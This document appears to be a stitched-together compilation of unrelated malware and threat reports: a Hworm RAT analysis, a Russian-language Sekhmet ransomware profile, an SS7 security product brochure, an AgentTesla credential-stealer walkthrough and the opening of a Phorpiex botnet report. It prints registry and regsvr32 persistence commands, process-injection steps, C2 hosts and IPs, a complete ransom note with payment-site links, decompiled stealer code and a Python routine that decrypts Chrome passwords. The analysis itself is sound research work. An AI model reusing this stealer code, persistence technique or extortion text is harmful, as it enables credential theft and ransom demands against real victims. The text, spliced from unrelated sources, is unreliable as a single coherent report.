Besides decoys, the samples also execute Hworm payloads, all of which are packed. Each Hworm payload created a unique mutex (while some SFX files delivered the same Hworm payload). All of the samples beaconed to one of three network locations.
While prior reports on Hworm have been published, we were unable to identify any report detailing this particular version of Hworm. Some previous versions would embed AutoIT scripts in resource sections of PE files while others would execute obfuscated VBS scripts. Some previous versions of the Hworm implant would embed data in the headers of HTTP requests or POST bodies as a method of command and control. Beacons of that HTTP protocol example are easily recognized by the use of ‘<|>’ as a delimiter and the URI of the request. This new version of Hworm uses a mixed binary and ASCII protocol over TCP.
During the investigation of this malware, a forum post on dev-point.com, an Arabic speaking technology and security forum, by a user with the handle “Houdini”, outlined plans for a rewrite of a backdoor in Delphi. This post occurred around July 2015.
Around October 2015, a password protected beta version of the builder used to create Delphi Hworm implants was uploaded to VirusTotal. Unfortunately, the builder used to create the samples outlined in the above attack was not located. Unit 42 believes the samples used in the above attack are a version which were released after the beta.
## Analyzing the Hworm Malcode
Upon configuring and building a server, the builder prompts the user to save a VBS file and modifies a stub file to create the implant. The VBS file is used to load and inject the implant. It appears that the operators behind the above attack either chose to not use the VBS loader or the newer versions of the builder no longer produce a VBS script.
### The VBS Loader
The script contains three files encoded in base64. The first file is DynamicWrapperX (DCOM_DATA), the second file is the RunPE shellcode (LOADER_DATA), and the third file is the file which gets injected into the host process (FILE_DATA). DynamicWrapperX provides access to all Windows APIs from a Visual Basic Script providing a wide range of functionality to this VBS script.
The configuration of the script is at the beginning of the file. In the above example, the script will use the registry as a startup method, it will drop itself into the system’s %appdata% directory using the filename myhworm.exe and it will inject itself into svchost.exe.
As the script executes, it first adds one of three startup methods which will execute the script on Windows startup:
1. Registry Run in HKCU
2. Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
3. EntryData Wscript.exe //b //e:vbscript
Following the installation of persistence, the script checks if the current environment is WOW64. If so, the script will execute:
```
%windir%\syswow64\wscript.exe /b /e:vbscript <filepath>
```
The script then drops DynamicWrapperX in the configured installation directory with file extension “.bin”. It will then register DynamicWrapperX:
```
regsvr32.exe /I /S <filename_dynamic_wrapperx>
```
Next, the script will load the registered object:
```
set DCOM = CreateObject("DYNAMICWRAPPERX")
```
Using VirtualAlloc, it will allocate new memory and copy RunPE shellcode (LOADER_DATA, loader.hex) and the to-be-injected binary (FILE_DATA) into memory. Using CallWindowProcW, the script will jump to the RunPE shellcode and the shellcode will inject the file (FILE_DATA) into the host process. The host process is by default svchost.exe but for .NET files injection can occur into the file:
```
%windir%\Microsoft\.Net\Framework\v2.0.50727\msbuild.exe
```
### The Beta Server
The main server which the builder produces is developed in Delphi and is not encrypted. Unit 42 has seen variants packed with VMProtect and ASPack. In some versions of the Delphi Hworm implants discovered (unpacked beta versions), the settings are stored in the resource section RCData“CONFIG” and are in clear text. Some versions also have an unfinished PE spreader in the resource section. The spreader will terminate all running processes named “sm?rtp.exe” and execute a VBS file using wscript.exe:
```
wscript.exe /e:vbscript <current directory>\$RECYCLE.BIN\<vbs name here>
```
The server exports some unused functions (they all just have RET instruction). We have seen “wrom.exe” and “server.exe” used as the name in the export table.
The author used the open source library Indy Components for network communication. They also used BTMemoryModule to load DLLs from memory (without saving it on the disc). The Hworm implants use a connect-back communication. This means the server (implant) connects back to the client (remotely controlling system). It also has some modules implemented in the server and each module uses its own socket for communication (on the same port defined in the configuration).
The following modules provide features of this malware:
- **Screenshot**: Provides the ability to capture screenshots in JPEG/BMP formats
- **Keylogger**: Provides the ability to log key strokes
- **Internet IO**: Provides the ability to download and execute files from the internet. It also provides the ability to load the executables via the RunPE technique
- **File Manager**: Provides the ability to list files and directories, delete, rename, and execute files, and upload or download files via TCP or HTTP
- **Password**: Provides the ability to steal passwords from Firefox, Opera, and Chrome browsers
- **Misc**: Provides the ability to list processes or modules and kill running processes
- **USB Notifier**: Provides the ability to notify the controller when a USB device is attached
- **Houdini Client**: Provides the main client, which contains the server’s configuration.
## Final Thoughts
The similarities in coding styles and features of the server, as well as languages and handles used by the author of the malware, lead us to believe the beta builder is a version of Hworm which was created somewhere between the HTTP version and the version used in the above outlined attack. As this RAT can be found online in semi-public locations, it is possible the malware is used by both surgical threat actors as well as within casual compromises. The above attack is only one such campaign Unit 42 has discovered using the Delphi versions of Hworm.
Palo Alto Networks customers can use AutoFocus to find all versions of Hworm samples using the “Hworm” tag.
## Indicators
**Delphi Hworm Beta Builder**
a4c71f862757e3535b305a14ff9f268e6cf196b2e54b426f25fa65bf658a9242
**Delivery Files**
70c55fef53fd4bdeb135ed68a7eead45e8d4ba7d17e0fd907e9770b2793b60ed
9af85e46344dadf1467c71d66865c7af98a23151025e7d8993bd9afc5150ad7d
773716bc2d313e17326471289a0b552f90086a2687fa958ef8cdb611cbc9a8c9
e0db0982c437c40ceb67970e0a776e9448f428e919200b5f7a0566c58680070c
1f45e5eca8f8882481b13fd4a67ffa88a1aa4d6e875a9c2e1fbf0b80e92d9588
5e42e61340942fc0c46a6668a7f54adbbb4792b01c819bcd3047e855116ae16f
fec925721b6563fec32d7a4cf8df777c647f0e24454fa783569f65cdadff9e03
106934ff7f6f93a371a4561fff23d69e6783512c38126fbd427ed4a886ca6e65
ba739f3f415efe005fbed6fcfcb1e6d3b3ae64e9a8d2b0566ab913f73530887c
0672e47513aefcbc3f7a9bd50849acf507a5454bc8c36580304105479c58772a
**Payloads**
386057a265619c43ef245857b66241a66822061ce9bd047556c4f3f1d262ef36
44b52baf2ecef2f928a13b17ba3a5552c32ca4a640e6421b8bc35ef5a113801b
8428857b0c7dfe43cf2182dd585dfdfd845697a11c31e91d909dc400222b4f78
d69e0456ddb11b979bf303b8bb9f87322bd2a9542dd9d9f716100c40bd6decd1
bd5d64234e1ac87955f1d86ee1af34bd8fd11e8edf3a449181234bb62816acab
774501f3c88ebdd409ec318d08af2350ec37fdbc11f32681f855e215e75440d7
c66b9e8aaa2ac4ce5b53b45ebb661ba7946f5b82e75865ae9e98510caff911a7
**Decoy files**
7916ca6ae6fdbfb45448f6dcff374d072d988d11aa15247a88167bf973ee2c0d
947d264a413f3353c43dafa0fd918bec75e8752a953b50843bc8134286d6f93f
9ddf2f2e6ac7da61c04c03f3f27af12cb85e096746f120235724a4ed93fac5aa
3d287cce7fe1caa5c033a4e6b94680c90a25cb3866837266130ba0fd8fab562c
444b82caf3c17ea74034c984aeca0f5b2e6547af88a0fb15953f2d5b80e3b448
3d3db84b6ad760540f638713e3f6a8daf8a226bd045351bcc72c6d22a7df8b3a
fffda1e2d794a5645f973900083a88ef38c3d20a89c5e59ca21412806db28197
**Command and Control Network Locations**
start.loginto.me
samah.sytes.net
52.42.161.75
78.47.96.17
136.243.104.200 |
# Sekhmet Ransomware
## Sekhmet Doxware
Этот крипто-вымогатель шифрует данные бизнес-пользователей и компаний с помощью RSA-2048 + ChaCha, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: в записке не указано. Хакеры-вымогатели: Twisted Spider Extortion Group. Среди вымогателей есть граждане Украины, по другим данным это международная хакерская группа.
Вымогатели, распространяющие Sekhmet, угрожают опубликовать украденные данные с целью усиления давления на жертву (отсюда дополнительное название — публикатор). Как известно из других Ransomware, для этого операторы-вымогатели начинают кражу данных ещё перед шифрованием файлов. Об этих акциях вымогателей сообщалось в СМИ. На момент публикации статьи не было известно о публикациях украденных данных, вымогатели только угрожали, что данные будут опубликованы на их специальном сайте. Потом они создали специальный сайт "Leaks leaks and leaks" для таких публикаций.
### Обнаружения:
- DrWeb -> Trojan.Encoder.31322, Trojan.Encoder.32301
- BitDefender -> Trojan.GenericKD.42872102, Gen:Variant.Jatif.1394
- ESET-NOD32 -> A Variant Of Generik.GYISLCY, A Variant Of Win32/Kryptik.HEDE
- Malwarebytes -> Trojan.MalPack, Ransom.Sekhmet
- Rising -> Ransom.Cryptor!8.10A9 (CLOUD)
- Symantec -> Ransom.Gen
- TrendMicro -> Ransom.Win32.SEKHMET.A, TROJ_GEN.R002C0RH720
К зашифрованным файлам добавляются разные случайные расширения, например:
- .cSlFg
- .RXfbY
- .jHXeqt
- .DtiM
- .wlxVM
Внимание! Новые расширения, email и тексты о выкупе можно найти в конце статьи, в обновлениях. Там могут быть различия с первоначальным вариантом. Активность этого крипто-вымогателя пришлась на середину марта 2020 г. Ориентирован на англоязычных пользователей, что не мешает распространять его по всему миру.
Записка с требованием выкупа называется: RECOVER-FILES.txt
### Содержание записки о выкупе:
--------------
| Attention! |
--------------
Your company network has been hacked and breached. We downloaded confidential and private data. In case of not contacting us in 3 business days this data will be published on a special website available for public view. Also we had executed a special software that turned files, databases and other important data in your network into an encrypted state using RSA-2048 and ChaCha algorithms.
A special key is required to decrypt and restore these files. Only we have this key and only we can give it to you with a reliable decryption software.
---------------------------------------
| How to contact us and be safe again |
---------------------------------------
The only method to restore your files and be safe from data leakage is to purchase a private key which is unique for you and securely stored on our servers. After the payment we provide you with decryption software that will decrypt all your files, also we remove the downloaded data from your network and never post any information about you.
There are 2 ways to directly contact us:
1) Using hidden TOR network:
a) Download a special TOR browser: https://www.torproject.org/
b) Install the TOR browser
c) Open our website in the TOR browser: xxxx://o3n4bhhtybbtwqqs.onion/C4BA3647FD0D6918
d) Follow the instructions on this page.
2) If you have any problems connecting or using TOR network
a) Open our website: xxxxs://sekhmet.top/C4BA3647FD0D6918
b) Follow the instructions on this page
On this web site, you will get instructions on how to make a free decryption test and how to pay. Also it has a live chat with our operators and support team.
-----------------------
| Questions and answers |
-----------------------
We understand you may have questions, so we provide here answers to the frequently asked questions.
Q: What about decryption guarantees?
A: You have a FREE opportunity to test a service by instantly decrypting for free 3 files from every system in your network. If you have any problems our friendly support team is always here to assist you in a live chat.
Q: How can we be sure that after the payment data is removed and not published or used in any nefarious ways?
A: We can assure you, downloaded data will be securely removed using DoD 5220.22-M wiping standard. We are not interested in keeping this data as we do not gain any profit from it. This data is used only to leverage you to make a payment and nothing more. On the market the data itself are relatively useless and cheap. Also we perfectly understand that using or publishing this data after the payment will compromise our reliable business operations and we are not interested in it.
Q: How did you get into the network?
A: Detailed report on how we did it and how to fix your vulnerabilities can be provided by request after the payment.
--------------------------------------------------------------------------------------
This is technical information we need to identify you correctly and give decryption key to you, do not redact!
---SEKHMET---
51VkH7oJKf5e6gh+7BW2KgfGSr/yibdEps7Bea72oGS***BPAFUAUAAAAA==
---SEKHMET---
### Содержание официального сайта вымогателей:
WAKE UP SAMURAI!
If you’ve come to this page, don’t waste your time searching for how to solve this problem and do not try to entrust the solution to third parties. Upload the ransom note RECOVER-FILES.txt and We will tell you how to quickly and reliably recover all your files.
### Технические детали
Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту!!!
Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1.
Для обеспечения запуска используется Regsvr32 — это служебная программа командной строки для регистрации и отмены регистрации элементов управления OLE, например ActiveX и библиотеки DLL в реестре Windows. Запуск обеспечивается с помощью следующей команды:
"C:\Windows\System32\regsvr32.exe" /s sekhmet.dll.exe
### Список файловых расширений, подвергающихся шифрованию:
Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр.
### Файлы, связанные с этим Ransomware:
- RECOVER-FILES.txt - название файла с требованием выкупа
- sekhmet.dll.{exe} - исполняемый файл Ransomware
- <random>.exe - случайное название вредоносного файла
### Расположения:
- \Desktop\
- \User_folders\
- \%TEMP%\
- G:\aaaa\bbbb\cccc\dddd\eeee.pdb
### Записи реестра, связанные с этим Ransomware:
См. ниже результаты анализов.
### Сетевые подключения и связи:
- URL: hxxxs://sekhmet.top/
- URL: hxxxs://sekhmet.top/C4BA3647FD0D6918
- Tor-URL: hxxx://o3n4bhhtybbtwqqs.onion/C4BA3647FD0D6918
### Результаты анализов:
Степень распространённости: средняя. Подробные сведения собираются регулярно. Присылайте образцы.
### ИСТОРИЯ СЕМЕЙСТВА
- Maze Ransomware - май 2019 - ноябрь 2020
- Sekhmet Ransomware - март 2020 - октябрь 2020
- Egregor Ransomware - сентябрь 2020 - февраль 2021
### БЛОК ОБНОВЛЕНИЙ
Обновление от 24 марта 2020: Вымогатели создали сайт "Leaks leaks and leaks" для публикаций украденных данных тех компаний, которые отказались платить им выкуп.
Обновление от 7-9 августа 2020: Расширения: .xgVWib, .UQgH. Записка: RECOVER-FILES.txt
Обновление от 29 октября 2020: Статья о закрытии вымогательского проекта "Maze Ransomware" и переход операторов вымогателей на "Egregor Ransomware". Вымогатели также подтвердили, что Maze, Sekhmet, Egregor являются их вымогательскими программами. Более того, пострадавшие от Egregor после уплаты выкупа получают Sekhmet Decryptor.
### 2022
Новость от 9 февраля 2022: Представитель группы вымогателей выложил в общий доступ на форуме BleepingComputer ключи дешифрования для пострадавших от Maze, Sekhmet, Egregor Ransomware. Внимание! Теперь есть дешифровщик. |
# Positive Technologies SS7 Attack Discovery™
As shown in the SS7 network analysis performed by Positive Technologies in 2014*, even hackers with minimal knowledge of how to launch security attacks against a telecom company can:
- Disclose a subscriber location
- Wiretap phone calls
- Intercept SMS messages and passwords
- Steal money from subscriber accounts
- Affect availability of service
The research also discovered that:
- Even the top 10 telecom operators are vulnerable to these attacks
- Hacker location and network type are of no significance
- Hackers only need a Linux-based PC
- Required software is available on the Internet
- Attacks involve valid SS7 messages: rough filtration can negatively affect your entire service
Recently, SS7 security has become very topical:
- When Edward Snowden, a former contractor for the CIA, first talked about the total surveillance by the NSA, many infosec experts showed evidence that the main technique the NSA could have used was exploitation of SS7 vulnerabilities.
- There are private companies offering SS7 attack services at reasonable rates, and as more companies enter the market, the rates continue to fall.
- Celebrities’ private conversations posted on the Internet by hackers have become more frequent.
- Current SS7 filtering systems (firewalls) are weak as they fail to analyze signaling traffic flows in detail without causing a loss of speed and connectivity.
* www.ptsecurity.com/library/whitepapers/
## PT SS7 Attack Discovery™
PT SS7 Attack Discovery™ — a new telecom security solution from Positive Technologies — detects intrusions via an SS7 network online and immediately informs infosec departments for early incident response. The system also performs a retrospective analysis of signaling traffic and assists in forensics tasks while not interfering with SS7/SIGTRAN interaction. Key features:
- Detection of all SS7 attack vectors including: examination of the network and collection of subscriber data (IMSI, MSC/VLR, HLR), user location tracking, interception of SMS messages, sending of spoofed SMS and USSD messages, subscriber or cellular segment DoS, billing bypass, alteration of subscriber profiles in VLR and subscriber categories.
- Low impact on signaling traffic. The PT SS7 AD™ system is implemented at the border of the SS7 network avoiding a negative effect on signaling traffic. Only an IP connection is required. There is no need to assign special addresses to SS7 in the form of Signaling Point Codes (SPC) or Global Titles (GT). Quick attack identification and its thorough analysis enhances protection avoiding impact on the speed of the network and its services.
- Message correlation. This is available in systems with load balancing over several Signal Transfer Points (STPs), ensuring the whole SS7 perimeter is covered and preventing false positives.
- Regularly updated knowledge base. PT SS7 AD™ benefits from the expertise of the specialist Positive Technologies Telecoms Research Lab, ensuring it reflects the very latest research on SS7 security.
- Dynamic analysis. This approach rapidly determines which SS7 network activity is irregular by monitoring traffic changes and comparing its characteristics at different times.
- Data visualization. User-friendly dashboards display information about all interactions with external SS7 networks; attacks and fraud attempts. These dashboards are configurable for ease of data analysis.
## Examples of Attacks
**Example №1:** Network investigation and collection of subscriber data (IMSI, MSC/VLR, HLR). A hacker examines an operator’s network, finds core hosts, determines their functional roles, and collects information that the network discloses. Meanwhile, PT SS7 AD™ logs his actions identifying illegal use of such messages as SRI4SM, SRI, SRI4LCS, SendIMSI, etc. Recognizing attacks while they are being planned helps to prevent their execution.
**Example №2:** Disclosure of subscriber location and control over his moves. With necessary data on the network and its subscribers gathered, the hacker directly addresses the main hosts requesting information about the subscriber via ATI, PSI, and SRI messages. Using signature analysis, PT SS7 Attack Discovery™ singles out illegal messages from the traffic and registers an attack attempt. Rapid response to the attack can block and prevent the hacker from monitoring subscriber moves.
**Example №3:** Interception of SMS messages is one of the most perilous attacks because it exploits SMS messages that often include sensitive information such as payment confirmation (3D Secure codes) and recovery data for email, social network, and payment service passwords. The attacker only needs to register a victim subscriber on a fake MSC/VLR. If successful, the hacker will receive all subscriber’s SMS messages.
**Example №4:** DoS for MSC. A hacker can directly attack an operator’s network and its services. The most severe are DoS attacks because they cause network unavailability and many other negative implications. The attack is based on the procedure of assigning a roaming number (MSRN) when receiving a voice call. If an attacker sends multiple roaming number requests, then the pool of available numbers will soon be exhausted. As a result, the switch will not be able to process terminating calls.
PT SS7 Attack Discovery™ can also discover redirection and wiretapping of voice calls, sending of fake SMS and USSD messages, subscriber DoS, spoofing of a subscriber’s profile in a VLR, alteration of a subscriber’s category, and many other attacks.
## Application and Modularity
PT SS7 Attack Discovery™ includes two types of modules. SS7 Sensor collects raw SS7 traffic from the STP, singles out useful data, and sends messages to Attack Detector. Attack Detector aggregates processed SS7 traffic from all SS7 Sensors in the network, creates dialogs, discovers intrusions using its knowledge base, and examines signaling traffic for unusual behavior.
### Full View
PT SS7 Attack Discovery™ obtains data from all required links, either international or local, and places it in separate dialogs on Attack Detector to avoid loss of system messages and false positives.
### In-depth Protocol Analysis
PT SS7 AD™ studies all-layer protocols and checks address information, address and subscriber ID compliance, and operation codes. Based on the complete view of the signal exchange, the system comes to a conclusion about the attack and immediately informs the infosec department about it.
### Call Flow Inspection
With a vast knowledge of mobile systems, PT SS7 AD™ identifies suspicious messages from external networks, unusual message sequences, and wrong equipment responses to outside actions. The system renders all data on anomalies to information security staff for analysis.
### Flexible Classification of Attacks
With a custom event classification system, PT SS7 AD™ signals an attack if a message comes from a blacklisted address. There is also the option to create white lists — a limited number of addresses whose actions will be recognized as valid.
### Deployment and Operation
PT SS7 Attack Discovery™ is deployable both as hardware and as a virtual solution. Depending on the client’s tasks and technical specifications, the system can run in a variety of modes:
1. External traffic analysis on the STP. PT SS7 AD™ receives all incoming and outgoing traffic on an “external” STP interface and detects attacks against telecom carriers.
2. Traffic analysis after the border STP. To detect intrusions into a border device, PT SS7 AD™ examines a copy of traffic from an internal SS7 network on any aggregating host.
3. Traffic analysis before network elements. If PT SS7 AD™ cannot obtain a traffic copy from an aggregating host, it studies traffic before key network elements (MSC/VLR, HLR, SMSC).
4. Analysis of specific message types. SIGTRAN must be connected to the STP. The STP must be able to copy traffic depending on specific features of signaling messages.
## Additional Services
PT SS7 Attack Discovery™ enhances detection of real-time intrusions via the SS7 network. Nonetheless, you can prevent many attacks beforehand discovering vulnerabilities and noncompliance with security standards on all levels of the telecommunications infrastructure. Positive Technologies provides telecom companies with:
- SS7 security audit service that includes MAP/CAP attack simulation, assessment of impact on CS Core (MSC/VLR/HLR/AuC), forensic investigation of possible fraud or SS7-based security incidents.
- Cell network security assessment to examine various vulnerabilities and configuration weaknesses in the radio access network that could allow illegal use of services and disruption or degradation of services delivered through 2G, 3G, and 4G.
- Mobile application security service to reduce the risk of security breaches that could cause significant financial losses and damage to reputation. We provide both client- and server-side application analysis using gray- and white-box testing to identify vulnerabilities and find ways to neutralize them.
- Penetration testing to detect hidden system flaws; evaluate the potential impact on operations if those flaws are exploited; verify the efficiency of current security tools and evaluate the level of security awareness among staff.
- Vulnerability research into new technologies, protocols, and applications to check whether security mechanisms are missing or employed incorrectly; to identify vulnerabilities and security issues that arise as a result and reduce associated risk.
- Security and compliance audit (ISO 27001, 27002, and 27011; TIA, ITU, NIST, ETSI recommendations) as a basis for development of an adequate and comprehensive action plan for information security enhancements. Such plans help to mitigate the financial and reputational risk related to information security.
## About Positive Technologies
Positive Technologies is a leading provider of vulnerability assessment, compliance management, and threat analysis solutions to more than 1,000 global enterprise clients. Our solutions work seamlessly across your entire business: securing applications in development; assessing your network and application vulnerabilities; assuring compliance with regulatory requirements; and blocking real-time attacks. Our commitment to clients and research has earned Positive Technologies a reputation as one of the foremost authorities on SCADA, banking, telecom, web application, and ERP security, and distinction as the #1 fastest growing Security and Vulnerability Management firm in 2012, as shown in an IDC report*.
To learn more about Positive Technologies please visit ptsecurity.com.
*Source: IDC Worldwide Security and Vulnerability Management 2013-2017 Forecast and 2012 Vendor Shares, doc #242465, August 2013. Based on year-over-year revenue growth in 2012 for vendors with revenues of $20M+.
© 2016 Positive Technologies. Positive Technologies and the Positive Technologies logo are trademarks or registered trademarks of Positive Technologies. All other trademarks mentioned herein are the property of their respective owners. |
# How Analysing an AgentTesla Could Lead To Attackers Inbox - Part II
Suraj Malhotra
April 15, 2020
I hope you’ve read Part I of this series. There we discussed some techniques to do basic analysis, tested the sample on any.run, and most importantly the “Decrypting Strings” part where we learned how it uses AES encrypted strings to evade some simple detections. So let's get started!
## Some Tidbits
To continue with where we left earlier, the next function called is `tlg()` and it copies the malware into the default temporary location as `TMP#{Millisecond}.bin`. Later it starts to execute the function `tkq.tjg` in a thread. It uses `tkq.tjg` to perform some registry key modifications usually for persistence and execute some system commands. It uses that temporary file it just created as well.
## Stealing Credentials
This is the core part of the series and it's important to understand. The next function to notice is `kqe` which returns a list. The first statement gets the path to the `AppData/Local`. Then the execution is passed to `zla.zgh` with the location of Chrome concatenated with the AppData location. It also concatenates `\Default\Login Data` and `\Login Data` and saves those two results in a list. Next, it looks whether the `Directory User Data` exists in the particular location. If the directory is present, it iterates over it to find its subdirectories. At last, it compares if the string `Profile` is present in any of the items in the directories list. Basically, it checks if any subdirectory named `Profile` exists. This could be the case when I would have installed other browsers such as Firefox, etc. I only have installed Chrome on my Victim VM and we’ll be only exploring the process of credential stealer in case of Chrome. Finally, it checks for the real `Login Data` file in both locations `User Data\Default\`, `\User Data\` (from items of previous list) and if it exists it executes function `emx`.
Now `vcx` contains the content of the `Login Data` file. The `emx` function is interesting. I didn’t have any installation of Chrome on my VM but this function looks like it does a strict checking on the contents of the `Login Data` file and I needed to get a legitimate one. So first it wants the 52nd byte in the file to be 0. Then it compares `var vjl` to 0. For `vjl` we need to analyze `eco` function and I found out it just returns ‘arg2’ number of bytes starting from ‘arg1’ index from `vcx`.
```csharp
public emx(string baseName)
{
this.vja = new byte[]{0,1,2,3,4,6,8,8,0,0};
if (File.Exists(baseName))
{
this.vcx = this.vcl(baseName); // vcx = file contents
if (this.vcx[52] != 0)
{
return;
}
this.vjo = checked((ushort)this.eco(16, 2)); // 2 chars from vcx[16]
this.vjl = this.eco(56, 4); // 4 chars from vcx[56]
if (decimal.Compare(new decimal(this.vjl), 0m) == 0)
{
this.vjl = 1UL;
}
this.ejo(100UL);
}
}
```
If it succeeds and passes all of the checks, control is passed over to function `ejo`. The `ejo` function is cool as I thought that it would execute SQL queries over the `Login Data` file to get the credentials but there is no need of doing this. First, it creates an object list with 5 elements and has main elements as `item_name`, `item_type`, `sql_statement`. These fields are filled by taking strings from different indexes from the original `Login Data` file. Also, I don’t know why but `ejo` first adds data to the beginning 6 elements of `vjb` and then another loop adds 11 elements to it and fills them.
Next, it searches for `vjb[2]` element and extracts all the words within parentheses and splits them with ‘,’ as a delimiter from the `sql_statement`. The resulting list looks like the following… Also, it strips the spaces which we can notice at the beginning now. Now the resulting list is copied into the `vjh` array. Afterwards, it iterates over its elements, splits them with “ “ as a delimiter and then only keeps the first element. The resulting array looks like the following…
Now it initializes another array as `vjg` and has the structure from `emx.emg`. As you can see below it has a single element with two fields as `content` & `row_id`. From this point, I can guess that the `content` field is what we are looking for. Also, another variable array is initialized with the structure of `emx.ema`. Its elements have a size & type field. And it fills both of them with some calculations done on `obj2` and `obj4`. It iterates till an element with type > 9 exists in the array. Some of the elements are as follows…
After this, it initializes the `content` field of `vjg` and we can see that it’ll have the same number of elements as of the array. It looks like some operation will be done on the array. After some loops, we can observe that it was successful in extracting some strings from the SQLite `Login Data` file.
Now let's dig into what happened with the array and what it did behind the scenes. The statement looks like the following:
```csharp
this.vjg[num8 + num5].content[num13] = Encoding.Default.GetString(
this.vcx,
Convert.ToInt32(
decimal.Add(
decimal.Add(
new decimal(num6), new decimal(num14)),
new decimal(num15))),
(int)array[num13].size);
```
At this point, we can utilize the Locals window to check the values of some variables including `num8`, `num5`, `num13`, `num6`, `num14`, `num15`. I made some notes and added a watch over those variables. As anybody can tell that `num13` is the index of the `content` field but I noticed that `num8`, `num5`, `num6`, `num14` remained the same for every value of `num13`. So it's basically accessing data from a particular index which is `(num6 + num14 + num15)` out of which `(num6 + num14)` is a constant, for me i.e. 6797 so the only index to note is `num15`.
Also, if you observe that `array[x].size` is what we previously initialized for every item in the array and it's basically the string length record.
```csharp
vjg[0].content[0x2] = (this.vcx, 6797 + num15, 0x8) //"username" str
then num15 = 0x3e
vjg[0].content[0x3] = (this.vcx, 6797 + num15, 0xf) //username
then num15 = 0x46
vjg[0].content[0x4] = (this.vcx, 6797 + num15, 0x8) //"password" str
num15 = 0x4e
vjg[0].content[0x5] = (this.vcx, 6797 + num15, 0x30) //password
num15 = 0x74
vjg[0].content[0x6] = (this.vcx, 6797 + num15, 0)
```
After the function ends, we get to see every item in the locals. Now you know what to do… Set a Breakpoint on them where they use this deadly API Call. Now everybody knows there is only one way to decrypt that password from `Login Data` i.e. `CryptUnprotectData` function call. So I searched for any references to where it's used. And boom! We hit one of them and we can also see our encrypted password in the locals window. Now we can copy the result from this call from this local by simply stepping into it.
But wait, that's not it. It has a whole function to decrypt it too to which it has passed the result of unprotected data and our original encrypted password. This was something new for me because I’m not used to C# and the decryption function in C looks very different. What I can observe from this is that it uses AES_GCM mode but don’t know the use of BCRYPT here. (Maybe it is the only one to include AES GCM Mode) ¯\_(ツ)_/¯
Fortunately, I found some reference which made my task easy. I was finally successful to implement this in Python.
```python
from Cryptodome.Cipher import AES
def dec(pwd, unproc_key):
auth_tag = pwd[-16:]
pwd = pwd.replace(auth_tag, '')
nonce, proc_pwd = pwd[3:15], pwd[15:]
cipher = AES.new(unproc_key, AES.MODE_GCM, nonce=nonce)
print(cipher.decrypt_and_verify(proc_pwd, auth_tag)
pwd = "763130492BD2706140CDA41C2701F3B4C2B5153DE018BA5512897731F1A1BB7D7982AA2BF3DEA4B299145D88B040ED58".decode('hex')
unproc_key = "2295D977B8F09202A4F8F7ACAF15C1B9EC411B126A0335208BE3DB8F14CA1551".decode('hex')
dec(pwd, unproc_key)
```
Moving on, it creates another list `zah` where its elements have 3 fields named `Item1`, `Item2`, and `Item3`. Here, `Item1` = Browser Name, `Item2` = Browser Data Location, `Item3` = bool if it exists (maybe). Next, it checks if whether it exists or not similarly it checked the Chrome location. But now it doesn’t do anything (I don’t have Opera installed), instead I see the credentials from Chrome being added to a list. Now we have the decrypted password in it. Later it continues to check for different browsers and some FTP Clients as well.
## Communication through SMTP
Now we know some part of how it carries out its stealthy process of stealing credentials from the browsers without any SQL query. So I ended up searching for some functions which used the SMTP client responsible for sending the credentials. And I found the only function which used it was `tkq.tyx()`. Luckily, it was not as obfuscated as I thought it to be. We can clearly observe our system and browser information which it's sending over. Along with them, we can also see the plaintext credentials of the author’s email account at `yandex.ru` which is used to send it. To no surprise, these credentials were working as we previously checked the any.run results. We can view our browser credentials in memory dump and the message body is formatted as HTML. It uses different classes such as `mailMessage` to construct the message body. Finally, it initializes some other variables such as:
- Port = 587 (default for SMTP)
- Host = yandex.ru
- To and From fields were the same…
And when it sends over the data, it deletes itself from the disk. I didn’t explore it that much and I wasn’t sure maybe it was executed in a thread.
Thanks
I hope this two-part series was insightful and you guys enjoyed it. Well, if you are reading this line you really liked it. It really took a lot of work to put it all together including taking screenshots, and not to forget… opening the malware again in dnspy… every time it removed itself. See ya guys next time… Till then take care and make use of this lockdown to learn new stuff. Also, keep sharing your findings with the community. |
# Phorpiex Breakdown
**Research by:** Alexey Bukhteyev
**Date:** November 19, 2019
## Introduction
We recently wrote about the massive “sextortion” spam campaign carried out by the Phorpiex botnet. However, this is only a small part of this botnet’s malicious activity. Capable of acting like both a computer worm and a file virus, Phorpiex is spread through exploit kits and with the help of other malware and has infected more than 1,000,000 Windows computers to date. By our assessment, the annual criminal revenue generated by the Phorpiex botnet is approximately half a million US dollars.
To maintain such a large botnet, a reliable command and control (C&C) infrastructure is required. For malware with a small outreach, or if infected computers are not part of a single botnet, virtual private servers (VPS) are most often used. VPS hosting services can be purchased from legitimate companies. Many VPS hosting providers don’t require identity verification, and the services can be paid for anonymously.
However, in the case of the Phorpiex botnet, a public VPS is not suitable. The C&C server for such a botnet would immediately attract attention with a large amount of malicious traffic: several million requests per day from more than 100,000 unique IP addresses are sent to the Phorpiex C&C servers. By our assessment, the monthly volume of the botnet’s C&C traffic may exceed 70 TB. Therefore, Phorpiex doesn’t use public VPS hosting services. Instead, it uses dedicated IP subnets registered to figureheads.
## Botnet Architecture
Initially, Phorpiex was known as a botnet operated using the IRC protocol (also known as Trik). However, recent Phorpiex campaigns have switched to modular architecture and eliminated IRC communication. We barely saw any of its IRC C&C servers online in 2019. However, our sinkholes still indicate many thousands of hosts infected with Trik. When we did spot IRC C&C servers online, we managed to capture a command for loading another malware to the infected machines.
We assume that this malware, self-named Tldr (probably stands for “TrikLoader”), has currently become the core part of the Phorpiex botnet. Tldr is a downloader that uses HTTP protocol for communication with C&C servers. Its main purpose is to load another malware on the infected machines. Some Tldr samples have the functionality of a computer worm and can spread through removable drives. We also observed variants of the malware that act like a file virus infecting other software.
If necessary, malware actors can extend the functionality of the botnet by loading additional modules. The purpose of Tldr, and modules such as the VNC Worm and the NetBIOS Worm, is to distribute the botnet as much as possible. The final goal of the Phorpiex operators is to gain profit, generally in cryptocurrency.
The main ways the botnet is monetized:
- Sextortion spam.
- Crypto-jacking.
- Crypto-currency clipping.
- Providing services for loading other malware (Raccoon stealer, Predator The Thief), distributing ransomware.
